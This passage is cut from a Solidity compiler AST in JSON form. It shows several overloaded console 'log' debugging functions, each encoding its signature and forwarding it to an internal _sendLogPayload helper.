51103:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c616464726573732c626f6f6c29","id":29621,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"51153:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_6dd434ca1fa26d491bcd72b7fe69eb72d41cae8eadbda5a7f985734e1b80c67d","typeString":"literal_string \"log(bool,string,address,bool)\""},"value":"log(bool,string,address,bool)"},{"id":29622,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29609,"src":"51186:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29623,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29611,"src":"51190:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29624,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29613,"src":"51194:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":29625,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29615,"src":"51198:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6dd434ca1fa26d491bcd72b7fe69eb72d41cae8eadbda5a7f985734e1b80c67d","typeString":"literal_string \"log(bool,string,address,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":29619,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"51129:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29620,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"51133:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"51129:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29626,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51129:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29618,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"51113:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29627,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51113:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29628,"nodeType":"ExpressionStatement","src":"51113:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"51037:3:15","parameters":{"id":29616,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29609,"mutability":"mutable","name":"p0","nameLocation":"51046:2:15","nodeType":"VariableDeclaration","scope":29630,"src":"51041:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29608,"name":"bool","nodeType":"ElementaryTypeName","src":"51041:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29611,"mutability":"mutable","name":"p1","nameLocation":"51064:2:15","nodeType":"VariableDeclaration","scope":29630,"src":"51050:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29610,"name":"string","nodeType":"ElementaryTypeName","src":"51050:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29613,"mutability":"mutable","name":"p2","nameLocation":"51076:2:15","nodeType":"VariableDeclaration","scope":29630,"src":"51068:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":29612,"name":"address","nodeType":"ElementaryTypeName","src":"51068:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":29615,"mutability":"mutable","name":"p3","nameLocation":"51085:2:15","nodeType":"VariableDeclaration","scope":29630,"src":"51080:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29614,"name":"bool","nodeType":"ElementaryTypeName","src":"51080:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"51040:48:15"},"returnParameters":{"id":29617,"nodeType":"ParameterList","parameters":[],"src":"51103:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29653,"nodeType":"FunctionDefinition","src":"51215:187:15","nodes":[],"body":{"id":29652,"nodeType":"Block","src":"51293:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c616464726573732c6164647265737329","id":29644,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"51343:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_2b2b18dc50ecc75180f201de41eca533fbda0c7bf525c06b5b8e87bc1d010822","typeString":"literal_string \"log(bool,string,address,address)\""},"value":"log(bool,string,address,address)"},{"id":29645,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29632,"src":"51379:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29646,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29634,"src":"51383:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29647,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29636,"src":"51387:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":29648,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29638,"src":"51391:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2b2b18dc50ecc75180f201de41eca533fbda0c7bf525c06b5b8e87bc1d010822","typeString":"literal_string \"log(bool,string,address,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":29642,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"51319:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29643,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"51323:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"51319:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29649,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51319:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29641,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"51303:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29650,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51303:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29651,"nodeType":"ExpressionStatement","src":"51303:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"51224:3:15","parameters":{"id":29639,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29632,"mutability":"mutable","name":"p0","nameLocation":"51233:2:15","nodeType":"VariableDeclaration","scope":29653,"src":"51228:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29631,"name":"bool","nodeType":"ElementaryTypeName","src":"51228:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29634,"mutability":"mutable","name":"p1","nameLocation":"51251:2:15","nodeType":"VariableDeclaration","scope":29653,"src":"51237:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29633,"name":"string","nodeType":"ElementaryTypeName","src":"51237:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29636,"mutability":"mutable","name":"p2","nameLocation":"51263:2:15","nodeType":"VariableDeclaration","scope":29653,"src":"51255:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":29635,"name":"address","nodeType":"ElementaryTypeName","src":"51255:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":29638,"mutability":"mutable","name":"p3","nameLocation":"51275:2:15","nodeType":"VariableDeclaration","scope":29653,"src":"51267:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":29637,"name":"address","nodeType":"ElementaryTypeName","src":"51267:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"51227:51:15"},"returnParameters":{"id":29640,"nodeType":"ParameterList","parameters":[],"src":"51293:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29676,"nodeType":"FunctionDefinition","src":"51408:176:15","nodes":[],"body":{"id":29675,"nodeType":"Block","src":"51477:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c75696e743235362c75696e7432353629","id":29667,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"51527:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_0bb00eab8772a517edb34ef48e9be8dbee2f7b7490bba02909d18953766a9d34","typeString":"literal_string \"log(bool,bool,uint256,uint256)\""},"value":"log(bool,bool,uint256,uint256)"},{"id":29668,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29655,"src":"51561:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29669,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29657,"src":"51565:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29670,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29659,"src":"51569:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":29671,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29661,"src":"51573:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0bb00eab8772a517edb34ef48e9be8dbee2f7b7490bba02909d18953766a9d34","typeString":"literal_string \"log(bool,bool,uint256,uint256)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":29665,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"51503:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29666,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"51507:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"51503:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29672,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51503:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29664,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"51487:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29673,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51487:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29674,"nodeType":"ExpressionStatement","src":"51487:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"51417:3:15","parameters":{"id":29662,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29655,"mutability":"mutable","name":"p0","nameLocation":"51426:2:15","nodeType":"VariableDeclaration","scope":29676,"src":"51421:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29654,"name":"bool","nodeType":"ElementaryTypeName","src":"51421:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29657,"mutability":"mutable","name":"p1","nameLocation":"51435:2:15","nodeType":"VariableDeclaration","scope":29676,"src":"51430:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29656,"name":"bool","nodeType":"ElementaryTypeName","src":"51430:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29659,"mutability":"mutable","name":"p2","nameLocation":"51447:2:15","nodeType":"VariableDeclaration","scope":29676,"src":"51439:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29658,"name":"uint256","nodeType":"ElementaryTypeName","src":"51439:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":29661,"mutability":"mutable","name":"p3","nameLocation":"51459:2:15","nodeType":"VariableDeclaration","scope":29676,"src":"51451:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29660,"name":"uint256","nodeType":"ElementaryTypeName","src":"51451:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"51420:42:15"},"returnParameters":{"id":29663,"nodeType":"ParameterList","parameters":[],"src":"51477:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29699,"nodeType":"FunctionDefinition","src":"51590:181:15","nodes":[],"body":{"id":29698,"nodeType":"Block","src":"51665:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c75696e743235362c737472696e6729","id":29690,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"51715:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_7dd4d0e0c518f4b352fd13daccf87a5d9bed9e01e109d2cd329f8180d1bf37cf","typeString":"literal_string \"log(bool,bool,uint256,string)\""},"value":"log(bool,bool,uint256,string)"},{"id":29691,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29678,"src":"51748:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29692,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29680,"src":"51752:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29693,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29682,"src":"51756:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":29694,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29684,"src":"51760:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7dd4d0e0c518f4b352fd13daccf87a5d9bed9e01e109d2cd329f8180d1bf37cf","typeString":"literal_string \"log(bool,bool,uint256,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":29688,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"51691:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29689,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"51695:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"51691:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29695,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51691:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29687,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"51675:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29696,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51675:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29697,"nodeType":"ExpressionStatement","src":"51675:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"51599:3:15","parameters":{"id":29685,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29678,"mutability":"mutable","name":"p0","nameLocation":"51608:2:15","nodeType":"VariableDeclaration","scope":29699,"src":"51603:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29677,"name":"bool","nodeType":"ElementaryTypeName","src":"51603:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29680,"mutability":"mutable","name":"p1","nameLocation":"51617:2:15","nodeType":"VariableDeclaration","scope":29699,"src":"51612:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29679,"name":"bool","nodeType":"ElementaryTypeName","src":"51612:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29682,"mutability":"mutable","name":"p2","nameLocation":"51629:2:15","nodeType":"VariableDeclaration","scope":29699,"src":"51621:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29681,"name":"uint256","nodeType":"ElementaryTypeName","src":"51621:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":29684,"mutability":"mutable","name":"p3","nameLocation":"51647:2:15","nodeType":"VariableDeclaration","scope":29699,"src":"51633:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29683,"name":"string","nodeType":"ElementaryTypeName","src":"51633:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"51602:48:15"},"returnParameters":{"id":29686,"nodeType":"ParameterList","parameters":[],"src":"51665:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29722,"nodeType":"FunctionDefinition","src":"51777:170:15","nodes":[],"body":{"id":29721,"nodeType":"Block","src":"51843:104:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c75696e743235362c626f6f6c29","id":29713,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"51893:29:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_619e4d0eef4ca09035d413eaba6f544cfd6dc9e01c2aeecde070c53237f5a842","typeString":"literal_string \"log(bool,bool,uint256,bool)\""},"value":"log(bool,bool,uint256,bool)"},{"id":29714,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29701,"src":"51924:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29715,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29703,"src":"51928:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29716,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29705,"src":"51932:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":29717,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29707,"src":"51936:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_619e4d0eef4ca09035d413eaba6f544cfd6dc9e01c2aeecde070c53237f5a842","typeString":"literal_string \"log(bool,bool,uint256,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":29711,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"51869:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29712,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"51873:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"51869:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29718,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51869:70:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29710,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"51853:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29719,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"51853:87:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29720,"nodeType":"ExpressionStatement","src":"51853:87:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"51786:3:15","parameters":{"id":29708,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29701,"mutability":"mutable","name":"p0","nameLocation":"51795:2:15","nodeType":"VariableDeclaration","scope":29722,"src":"51790:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29700,"name":"bool","nodeType":"ElementaryTypeName","src":"51790:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29703,"mutability":"mutable","name":"p1","nameLocation":"51804:2:15","nodeType":"VariableDeclaration","scope":29722,"src":"51799:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29702,"name":"bool","nodeType":"ElementaryTypeName","src":"51799:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29705,"mutability":"mutable","name":"p2","nameLocation":"51816:2:15","nodeType":"VariableDeclaration","scope":29722,"src":"51808:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29704,"name":"uint256","nodeType":"ElementaryTypeName","src":"51808:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":29707,"mutability":"mutable","name":"p3","nameLocation":"51825:2:15","nodeType":"VariableDeclaration","scope":29722,"src":"51820:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29706,"name":"bool","nodeType":"ElementaryTypeName","src":"51820:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"51789:39:15"},"returnParameters":{"id":29709,"nodeType":"ParameterList","parameters":[],"src":"51843:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29745,"nodeType":"FunctionDefinition","src":"51953:176:15","nodes":[],"body":{"id":29744,"nodeType":"Block","src":"52022:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c75696e743235362c6164647265737329","id":29736,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"52072:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_54a7a9a08e00a28d36d734cc45e318f9adc9ffbfd731cd45d0dc5a2abe2b9ac9","typeString":"literal_string \"log(bool,bool,uint256,address)\""},"value":"log(bool,bool,uint256,address)"},{"id":29737,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29724,"src":"52106:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29738,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29726,"src":"52110:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29739,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29728,"src":"52114:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":29740,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29730,"src":"52118:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_54a7a9a08e00a28d36d734cc45e318f9adc9ffbfd731cd45d0dc5a2abe2b9ac9","typeString":"literal_string \"log(bool,bool,uint256,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":29734,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"52048:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29735,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"52052:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"52048:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29741,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"52048:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes 